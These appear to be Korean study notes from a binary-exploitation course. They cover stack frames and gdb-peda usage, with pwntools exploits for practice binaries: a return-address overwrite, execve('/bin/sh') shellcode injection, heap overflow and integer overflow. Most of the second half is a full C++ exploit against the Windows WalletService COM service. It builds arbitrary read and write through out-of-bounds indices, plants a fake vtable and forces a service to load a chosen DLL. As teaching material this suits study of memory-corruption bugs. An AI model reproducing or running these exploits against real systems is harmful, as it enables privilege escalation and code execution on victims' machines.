# Stack
공간이 할당되어 새로운 데이터가 있을 때,
메모리 주소 상 높은 곳에서 낮은 곳으로 자라남
R/ESP(Stack Pointer)
=> 마지막으로 스택에 데이터가 삽입된 자리(주소)
R/EBP(Base Pointer)
(RSP)
PUSH
POP
높은 주소
메인함수가 호출되기 직전에
rsp가 0x1010을 가리키고 있다면?
push rbp
mov rbp, rsp
0. push rbp
1. 베이스 포인터 저장
mov rbp, rsp
rsp => 0x1010
rbp => 0x1010
2. 스택 포인터 이동
rbp => 0x1010
rsp => 0x1004
| main 함수의 스택 프레임 |
----------------------------------
mov rbp, rsp
rbp => 0x1004
rsp => 0x1004
| add 함수의 스택 프레임 |
프링글스 통에
빨간색, 파란색, 노란색 공을 넣으면?
call add()
push rip
mov rip, XXX
push ebp
mov ebp, esp
push rbp
mov rbp, rsp
함수가 복귀할 때 필요한 것.
1. 어디로 돌아가야 하는가?
=> Call 명령어가 실행될 때, push rip와 비슷한 동작이 수행됨
```
0x000000000000116b <+36>: call 0x1129 <add>
0x0000000000001170 <+41>: mov DWORD PTR [rbp-0x4],eax
```
3. 상위 함수의 베이스 포인터
호출'된' 함수의 프롤로그에 의해 저장
push rbp
함수 프롤로그
부모 함수의 베이스 포인터를 백업하고, 새 베이스 포인터를 생성하는 것
1. Call add
rbp => 0x1040
rsp => 0x1018
0x1010 | retaddr(main 함수 중간 주소) |
결과: 스택에 복귀 주소가 저장되고 rsp가 낮아짐(0x1010)
2. add의 함수 프롤로그(1)
rbp => 0x1040
rsp => 0x1010
push rbp
0x1010 | retaddr(main 함수 중간 주소) |
0x1008 | 0x1040(main함수의 베이스) |
결과 : 스택에 main 함수의 베이스가 저장되고, rsp가 낮아짐(0x1008)
3. add 함수 프롤로그(2)
mov rbp, rsp
결과:
rbp => 0x1008
rsp => 0x1008
## 함수 에필로그
백업된 베이스 포인터로 bp를 복구하고, 리턴 어드레스로 이동
leave
- mov rsp, rbp
- pop rbp
rbp => 0x1040
rsp => 0x1010
ret
- pop rip
# 디버깅 실습
```clike
// stack.c
#include <stdio.h>
int add(int a, int b){
int c = a + b;
return c;
}
int main(){
int a = 4;
int b = 2;
int c = add(a,b);
return 0;
}
```
```
gcc stack.c -no-pie -o stack
```
# gdb 명령어
함수 디스어셈블
- (gdb-peda) pd [함수명]
breakpoint
- (gdb-peda) b *main+4
- (gdb-peda) b *0x401010
breakpoint 확인
- (gdb-peda) info break
breakpoint 삭제
- (gdb-peda) d [number]
레지스트리 출력
- (gdb-peda) info reg [register]
메모리 출력
- (gdb-peda) x/2[gx|wx|i|s] [$rsp || 0x404040]
# 버퍼 확인하기
1. read함수를 호출하는 시점에 인자를 확인
2. r <<< "AAAA" 와 같은 방법으로 gdb에서 프로그램 실행 시 표준 입력을 대체할 수 있음
3. read 함수 호출 후 버퍼에 저장된 데이터 확인
4. r <<< \`perl -e 'print "A"x512'\` 와 같은 스크립팅 가능
## python pwntools 설치
가상머신 인터넷 연결이 안 되어 있을 경우, 가상머신 설정에서
네트워크 어댑터를 Bridge에서 NAT로 변경
```
python3 -m pip install pwntools
```
## bof1 실습
```python
from pwn import *
p = process("./bof1")
print(p.recv(1024))
gdb.attach(p)
payload = b"A" * 520
payload += p64(0x00000000004011dd)
p.send(payload)
print(p.recv(1024))
pause()
```
## bof2
```python
from pwn import *
p = process("./bof2")
data = p.recv(1024)
addr_str = data.split(b" @ ")[1].split(b"\n")[0]
addr = int(addr_str.decode(), 16)
shellcode = (b"\x90" * 0x100 ) + b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
dummy = b"A" * (520 - len(shellcode))
payload = shellcode + dummy + p64(addr)
p.send(payload)
p.interactive()
```
### heap overflow
```python
from pwn import *
p = process("./heap_overflow")
# gdb.attach(p)
def create():
# menu
p.recvuntil(b"> ")
p.send(b"1\n")
def insert(idx, data):
# menu
p.recvuntil(b"> ")
p.send(b"2\n")
# select idx
p.recvuntil(b"> ")
p.send(idx + b'\n')
# input
p.recvuntil(b"> ")
p.send(data + b'\n')
def modify(idx, data):
# menu
p.recvuntil(b"> ")
p.send(b"3\n")
# select idx
p.recvuntil(b"> ")
p.send(idx + b'\n')
# input
p.recvuntil(b"> ")
p.send(data + b'\n')
```
Buffer Overflow 취약점은 **인접한 메모리**를 변조하는 유형의 취약점.
그러므로 **인접한 메모리**에 저장된 것이 무엇인지 알아야 함.
힙 메모리의 경우 고정으로 배치되는 값이 없기 때문에, 필요하다면 필요에 맞게 힙 객체를 배치하는 과정이 필요함(**힙 풍수**)
이를 위해,
1. 어떤 객체(공간+기능)를 할당할 수 있는가?
2. 조작되었을 때 유의미한 값 또는 기능을 가진 객체가 있는가?
3. 어떻게 변조할 수 있으며, 해당 값을 어떤 값으로 바꾸면 되는가?
와 같은 고민을 해볼 수 있음.
## peda 코드 수정
```python
def sigint_handler(event):
# warning_msg("Got Ctrl+C / SIGINT!")
gdb.execute("set logging off")
peda.restore_user_command("all")
# raise KeyboardInterrupt
# signal.signal(signal.SIGINT, sigint_handler)
gdb.events.stop.connect(sigint_handler)
```
풍수
create - insert - create - insert
```
data[0]
data->ptr data->size
0x1d2012a0: 0x000000001d2012c0 0x0000000000000021
0x1d2012b0: 0x0000000000000000 0x0000000000000031
data[0] - buffer
0x1d2012c0: 0x4141414141414141 0x4141414141414141
0x1d2012d0: 0x4141414141414141 0x4141414141414141
0x1d2012e0: 0x000000000000000a 0x0000000000000021
data[1]
data->ptr data->size
0x1d2012f0: 0x000000001d201310 0x0000000000000011
0x1d201300: 0x0000000000000000 0x0000000000000021
0x1d201310: 0x4242424242424242 0x4242424242424242
--------------------------------------------------
data[0]
data->ptr data->size
0x1d2012a0: 0x000000001d2012c0 0x0000000000000021
0x1d2012b0: 0x0000000000000000 0x0000000000000031
0x1d2012c0: 0x4343434343434343 0x4343434343434343
0x1d2012d0: 0x4343434343434343 0x4343434343434343
0x1d2012e0: 0x4343434343434343 0x4343434343434343
data[1]
data->ptr(overflowed) data->size
0x1d2012f0: 0x4343434343434343 0x000000000000000a
0x1d201300: 0x0000000000000000 0x0000000000000021
0x1d201310: 0x4242424242424242 0x4242424242424242
--------------------------------------------------
exploited
data[0]
data->ptr data->size
gdb-peda$ x/16gx 0x000000002b08e2a0
0x2b08e2a0: 0x000000002b08e2c0 0x0000000000000005
0x2b08e2b0: 0x0000000000000000 0x0000000000000021
0x2b08e2c0: 0x4141414141414141 0x4141414141414141
0x2b08e2d0: 0x4141414141414141 0x4141414141414141
data[1]
data->ptr(flag의 주소로 변조) data->size
0x2b08e2e0: 0x0000000000404090 0x000000000000000a
0x2b08e2f0: 0x0000000000000000 0x0000000000000021
0x2b08e300: 0x0000000a41414141 0x0000000000000000
0x2b08e310: 0x0000000000000000 0x0000000000020cf1
```
```python
from pwn import *
p = process("./heap_overflow")
# gdb.attach(p)
def create():
# menu
p.recvuntil(b"> ")
p.send(b"1\n")
def insert(idx, data):
# menu
p.recvuntil(b"> ")
p.send(b"2\n")
# select idx
p.recvuntil(b"> ")
p.send(idx + b'\n')
# input
p.recvuntil(b"> ")
p.send(data + b'\n')
def modify(idx, data):
# menu
p.recvuntil(b"> ")
p.send(b"3\n")
# select idx
p.recvuntil(b"> ")
p.send(idx + b'\n')
# input
p.recvuntil(b"> ")
p.send(data + b'\n')
create()
insert(b"0", b"AAAA")
create()
insert(b"1", b"AAAA")
gdb.attach(p)
pause()
payload = b"\x41" * 0x20
payload += p64(0x404090) # flag's address
modify(b"0", payload)
print("ptr modified")
pause()
payload = p32(0x31337)
modify(b"1", payload)
print("flag modified")
pause()
print(p.recv(1024))
pause()
```
## integer 예제 파일
https://drive.google.com/file/d/1VUBY4I35k2j1hfIFsYuacy7ps0ZOT-7S/view?usp=sharing
```clike=
uint32_t len = param->keySz + param->valSz;
if(len > DICT_SIZE - 2 - dicts[idx]->curSz)
return -1;
```
**dicts[idx]->curSz** 는 현재 버퍼의 사용중인 크기를 의미함.
위 검증 구문은 새로 입력하고자 하는 데이터가 버퍼의 남은 크기보다 큰 경우 예외하고자 함인데,
curSz가 4096까지의 데이터를 가질 수 있으므로, curSz가 **4095 이상**인 경우부터
**4096 - 2 - 4095 = -1 (0xffffffff)**
unsigned int의 MAX에 가까운 값으로 계산되므로, **버퍼의 남은 크기** 계산이 불가능
Buffer Overflow 취약점으로 이어진다.
```python
from pwn import *
p = process('./dict')
#p = remote('localhost', 5555)
flag = 0x404150
def createDict():
p.recvuntil(b'> ')
p.send(b'1\n')
def insert(idx, key, value):
p.recvuntil(b'> ')
p.send(b'2\n')
p.recvuntil(b'Dict idx > ')
p.sendline(idx)
p.recvuntil(b'Key > ')
p.send(key)
p.recvuntil(b'Value > ')
p.send(value)
createDict()
createDict()
for i in range(25):
insert(b"0", b"a" * 32, b"b"*128)
sleep(0.1)
insert(b"0", b"a" * 32, b"b"*11)
insert(b"0", b"A" * 16 + b"\x00" * 8 + p64(flag - 1), b"b" * 1)
insert(b"1", p64(0x31337), b"d")
p.interactive()
```
### Windbg Symbol Path
```
SRV*c:\symbols*http://msdl.microsoft.com/download/symbols
```
#### Windows x64 Calling Convention
rcx rdx r8 r9 순서로 인자가 전달됨.
단, 인스턴스에서 메소드를 호출하는 경우 첫번째 인자는 항상 this임
```
obj->CreateWalletItem(1, &obj1);
```
위 코드에서, 1은 코드 상 첫번째 인자지만
함수가 수행될 때 두번째 인자임(rdx) 첫번째 인자인 rcx는 obj 자체(this)
### poc
```
// crash code here!
hr = obj1->CreateCustomProperty(&obj2);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
uint32_t a = 0;
uint32_t b = 0;
obj2->GetGroup(0, &a, &b);
```
### windbg
```
x walletservice!*GetGroup*
```
### 디버깅 순서?
클라이언트 프로그램에 디버거를 연결한 게 아니기 때문에, 확인하고 싶은 스텝의 전 후에 getchar() 함수를 넣어 사용자 입력 전까지 다음 코드가 실행되지 않도록 설정함.
```
# 관리자 셸에서
windbg -psn WalletService
```
```
dd rcx+0x74+(8*-10)
dd rcx+0x78+(8*-10)
```
## leak
```clike
// leak code here
hr = obj1->CreateCustomProperty(&obj2);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
printf("GetGroup");
getchar();
uint32_t high = 0;
uint32_t low = 0;
int32_t idx = 0; // Modify this
obj2->GetGroup(-4, &high, &low);
uint64_t heap = ((uint64_t)high << 32);
heap += low;
heap -= 0x60;
printf("heap @ %llx\n", heap);
return 0;
```
```
bm walletservice!Wallet::WalletCustomProperty::GetGroup
```
```clike=
#include "pch.h"
class __declspec(uuid("21f1a452-9759-48a5-8d9b-bbd859ef89ee")) IWalletCustomProperty : public IUnknown {
public:
virtual HRESULT __stdcall GetLabel(struct tagPROPVARIANT* p0);
virtual HRESULT __stdcall SetLabel(struct tagPROPVARIANT* p0);
virtual HRESULT __stdcall GetValue(struct tagPROPVARIANT* p0);
virtual HRESULT __stdcall SetValue(struct tagPROPVARIANT* p0);
virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t* p0);
virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0);
virtual HRESULT __stdcall GetGroup( /* ENUM32 */ uint32_t idx, /* ENUM32 */ uint32_t* v1, uint32_t* v2);
virtual HRESULT __stdcall SetGroup( /* ENUM32 */ uint32_t idx, /* ENUM32 */ uint32_t v1, uint32_t v2);
};
class __declspec(uuid("16083582-9360-4758-8978-46970ae14999")) IWalletItem : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(int64_t* p0);
virtual HRESULT __stdcall Proc4( /* ENUM32 */ uint32_t* p0, int64_t p1, int64_t* p2);
virtual HRESULT __stdcall Proc5( /* ENUM32 */ uint32_t* p0);
virtual HRESULT __stdcall Proc6( /* ENUM32 */ uint32_t p0, struct Struct_97* p1);
virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t p0, struct Struct_97* p1);
virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0, int64_t* p1);
virtual HRESULT __stdcall Proc9( /* ENUM32 */ uint32_t p0, int64_t* p1);
virtual HRESULT __stdcall CreateCustomProperty(IWalletCustomProperty** p0);
virtual HRESULT __stdcall Proc11(wchar_t* p0, IWalletCustomProperty** p1);
virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletCustomProperty* p1);
virtual HRESULT __stdcall Proc13(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2, /* ENUM32 */ uint32_t* p3);
virtual HRESULT __stdcall Proc14(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2, /* ENUM32 */ uint32_t p3);
virtual HRESULT __stdcall Proc15(VARIANT* p0);
virtual HRESULT __stdcall Proc16( /* ENUM32 */ uint32_t p0, VARIANT* p1);
virtual HRESULT __stdcall Proc17(int64_t* p0);
virtual HRESULT __stdcall Proc18();
virtual HRESULT __stdcall Proc19( /* ENUM32 */ uint32_t p0);
virtual HRESULT __stdcall Proc20(IWalletItem* p0);
virtual HRESULT __stdcall Proc21( /* ENUM32 */ uint32_t* p0);
virtual HRESULT __stdcall Proc22(int64_t* p0);
};
class __declspec(uuid("14ff27de-1dc9-4617-8ed3-9a042d52391f")) IWalletItemList : public IUnknown {
public:
virtual HRESULT __stdcall HasPendingChanges( /* ENUM32 */ uint32_t* p0);
virtual HRESULT __stdcall GetItemCount(ULONG* p0);
virtual HRESULT __stdcall GetItemAt(int64_t p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc6(int64_t p0);
virtual HRESULT __stdcall Proc7(int64_t p0, int64_t* p1);
virtual HRESULT __stdcall Proc8(int64_t p0, int64_t* p1);
virtual HRESULT __stdcall Proc9(int64_t p0, /* ENUM32 */ uint32_t* p1);
virtual HRESULT __stdcall Proc10(IWalletItemList* p0);
};
class __declspec(uuid("fe8a7c3d-a504-4c31-81ec-d8ec8d9fa6b7")) IWalletTransactionManager : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1);
virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc5(int64_t* p0);
virtual HRESULT __stdcall Proc6(int64_t p0);
virtual HRESULT __stdcall Proc7(int64_t p0);
};
class __declspec(uuid("c5b00653-be27-41f2-b669-d780698f8d9d")) IWalletLocationManager : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1);
virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc5(int64_t* p0);
virtual HRESULT __stdcall Proc6(int64_t p0);
virtual HRESULT __stdcall Proc7(int64_t p0);
virtual HRESULT __stdcall Proc8();
virtual HRESULT __stdcall Proc9(int64_t* p0);
virtual HRESULT __stdcall Proc10();
virtual HRESULT __stdcall Proc11();
};
class __declspec(uuid("b9860518-0cdf-4dba-a981-807f3cbdc80a")) IWalletX : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(IWalletItemList** p0);
virtual HRESULT __stdcall Proc4(IWalletItemList** p0);
virtual HRESULT __stdcall Proc5(wchar_t* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc6();
virtual HRESULT __stdcall Proc7(IWalletTransactionManager** p0);
virtual HRESULT __stdcall Proc8(IWalletLocationManager** p0);
virtual HRESULT __stdcall Proc9(IWalletItem* p0, /* ENUM32 */ uint32_t p1);
virtual HRESULT __stdcall Proc10(int64_t p0, int64_t* p1);
virtual HRESULT __stdcall CreateWalletItem( /* ENUM32 */ uint32_t p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc13(int64_t p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc14(IWalletItem* p0);
virtual HRESULT __stdcall Proc15(IWalletItem* p0, wchar_t* p1);
virtual HRESULT __stdcall Proc16(IWalletItem* p0, /* ENUM32 */ uint32_t* p1);
virtual HRESULT __stdcall Proc17(IWalletItem* p0, int64_t p1);
virtual HRESULT __stdcall Proc18(wchar_t* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc19(wchar_t* p0);
};
IWalletX* obj;
IWalletItem* obj1;
IWalletCustomProperty* obj2, * obj3;
ULONG64 heap;
int PrintError(unsigned int line, HRESULT hr)
{
wprintf_s(L"ERROR: Line:%d HRESULT: 0x%X\n", line, hr);
return hr;
}
void write(size_t addr, void *buf, UINT size=8) {
uint32_t num1 = addr & 0xffffffff,
num2 = addr >> 32,
backup, nouse;
if (num2 == -1 || num1 == 0x20)
{
puts("error addr, try again");
exit(-1);
}
obj2->GetGroup(-9, &backup, &nouse);
obj2->SetGroup(-9, backup, num1);
obj2->GetGroup(-8, &nouse, &backup);
obj2->SetGroup(-8, num2, backup);
addr = -1;
num1 = addr & 0xffffffff;
num2 = addr >> 32;
obj2->GetGroup(-7, &backup, &nouse);
obj2->SetGroup(-7, backup, num1);
obj2->GetGroup(-6, &nouse, &backup);
obj2->SetGroup(-6, num2, backup);
tagPROPVARIANT input;
input.vt = 8;
input.bstrVal = SysAllocStringLen((const OLECHAR*)buf, size);
obj2->SetLabel(&input);
}
char* read(size_t addr, size_t size=8) {
uint32_t num1 = addr & 0xffffffff,
num2 = addr >> 32,
backup, backup1, nouse;
char* buf = new char[size + 1]{ 0 }, * p = buf;
obj2->GetGroup(-9, &backup, &nouse);
obj2->GetGroup(-8, &nouse, &backup1);
for (size_t i = 0; i < size; i++) {
obj2->SetGroup(-9, backup, num1++);
obj2->SetGroup(-8, num2, backup1);
tagPROPVARIANT input;
input.vt = 8;
input.bstrVal = 0;
obj2->GetLabel(&input);
*p++ = *(char*)input.bstrVal;
}
return buf;
}
DWORD poc(LPVOID dllpath)
{
CoInitializeEx(NULL, COINIT_MULTITHREADED);
HRESULT hr;
CLSID clsid;
IID iid;
CLSIDFromString(OLESTR("{97061DF1-33AA-4B30-9A92-647546D943F3}"), &clsid);
IIDFromString(OLESTR("{b9860518-0cdf-4dba-a981-807f3cbdc80a}"), &iid);
hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&obj);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
hr = obj->CreateWalletItem(1, &obj1);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
hr = obj1->CreateCustomProperty(&obj2);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
for(int i=0;i<10;i++)
hr = obj1->CreateCustomProperty(&obj3);
uint32_t out1, out2;
heap = 0;
hr = obj2->GetGroup(-13,&out1,&out2);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
heap = out2;
hr = obj2->GetGroup(-12, &out1, &out2);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
heap += (ULONG64)out1 << 32;
printf("heap @ 0x%llx\n", heap); // heap
printf("WalletCustomProperty @ 0x%llx\n", heap - 0x20);
//-----------------------------------------------
size_t walletservice = (size_t)LoadLibrary(L"walletservice.dll");
size_t dxgi = (size_t)LoadLibrary(L"dxgi.dll");
size_t dxgi_environ = 0xC5E68 + dxgi;
size_t dxgi_environ_length = 0xC5E80 + dxgi;
printf("dxgi_environ @ %llx\n", dxgi_environ);
printf("dxgi_environ_length @ %llx\n", dxgi_environ_length);
size_t FakeVTBuf = 0x66EB0 + walletservice - 0x500; // read / writable memory in WalletService
size_t NeedFlagBuf = 0x66F30 + walletservice - 0x500;
size_t myenviron = 0x66F38 + walletservice - 0x500;
printf("FakeVTBuf @ %llx\n", FakeVTBuf);
printf("NeedFlagBuf @ 0x%llx\nwill_call: 0x%llx\n", NeedFlagBuf, dxgi + 0x011D00);
printf("myenviron @ %llx\n", myenviron);
write(myenviron, (void*)dllpath, wcslen((const wchar_t*)dllpath) + 1);
size_t fakevtable_start = FakeVTBuf;
size_t fakevtable[] = {
0x4141414141,
0x4141414142,
0x4141414143,
dxgi + 0x011D00
};
size_t tmp;
for (auto i : fakevtable) {
tmp = i;
write(fakevtable_start, &tmp,8);
fakevtable_start += 8;
}
tmp = NeedFlagBuf - 0x174;
write(heap + 0x60, &tmp, 8);
tmp = 1;
write(NeedFlagBuf, &tmp, 8);
tmp = myenviron;
write(dxgi_environ, &tmp, 8);
tmp = 0x530;
write(dxgi_environ_length, &tmp, 4);
write(dxgi_environ_length + 0xc, &tmp, 8);
write(heap-0x20, &FakeVTBuf, 8); // this's vtable is currupted
uint32_t ac = 1;
tagPROPVARIANT t = { };
hr = obj2->GetLabel(&t); // call dxgi!ATL::CComObject<CDXGIAdapter>::`vector deleting destructor
if (FAILED(hr)) { PrintError(__LINE__, hr); }
puts("Done!");
while(1){} // hang
return 0;
}
int wmain(int argc,wchar_t **argv) {
if (argc != 2) {
printf("usage: %ws .dll(Absolute_path)\n", argv[0]);
exit(0);
}
poc(argv[1]);
}
```